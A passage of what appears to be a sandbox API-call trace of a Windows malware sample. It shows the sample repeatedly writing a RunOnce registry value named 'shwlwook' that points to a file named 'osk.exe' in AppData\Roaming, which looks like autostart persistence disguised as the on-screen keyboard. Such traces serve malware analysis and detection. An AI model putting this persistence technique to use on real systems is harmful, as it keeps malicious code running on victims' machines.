[7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x6240520) returned 0x0 [0256.562] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x28 [0256.562] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.563] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.563] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.563] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.563] RegCloseKey (hKey=0x14c) returned 0x0 [0256.563] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.564] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.570] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.570] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.570] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.571] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.571] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240570 | out: ppvObject=0x6240570*=0x0) returned 0x80004002 [0256.571] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2a [0256.571] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.571] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2b [0256.571] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e03c0) returned 0x0 [0256.571] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2a [0256.571] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.571] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.571] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.572] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.572] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240590 | out: ppvObject=0x6240590*=0x0) returned 0x80004002 [0256.572] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2b [0256.572] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2a [0256.572] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.572] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2a [0256.572] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x62405a0) returned 0x0 [0256.573] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x29 [0256.573] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.574] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.574] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.574] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.574] RegCloseKey (hKey=0x14c) returned 0x0 [0256.574] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.575] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.586] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.586] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.586] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.586] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.586] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62405f0 | out: ppvObject=0x62405f0*=0x0) returned 0x80004002 [0256.586] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2b [0256.586] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.586] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2c [0256.587] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0360) returned 0x0 [0256.587] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2b [0256.587] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.587] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.587] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.587] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.587] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240610 | out: ppvObject=0x6240610*=0x0) returned 0x80004002 [0256.587] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2c [0256.587] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2b [0256.587] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.588] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2b [0256.588] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x6240620) returned 0x0 [0256.588] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2a [0256.589] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.589] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.589] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.589] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.589] RegCloseKey (hKey=0x14c) returned 0x0 [0256.590] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.590] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.601] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.601] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.602] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.602] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.602] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240670 | out: ppvObject=0x6240670*=0x0) returned 0x80004002 [0256.602] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2c [0256.602] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.602] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x2d [0256.602] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0300) returned 0x0 [0256.602] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2c [0256.603] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.603] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.603] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.603] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.603] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240690 | out: ppvObject=0x6240690*=0x0) returned 0x80004002 [0256.603] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2d [0256.603] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2c [0256.603] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.603] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x2c [0256.603] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: 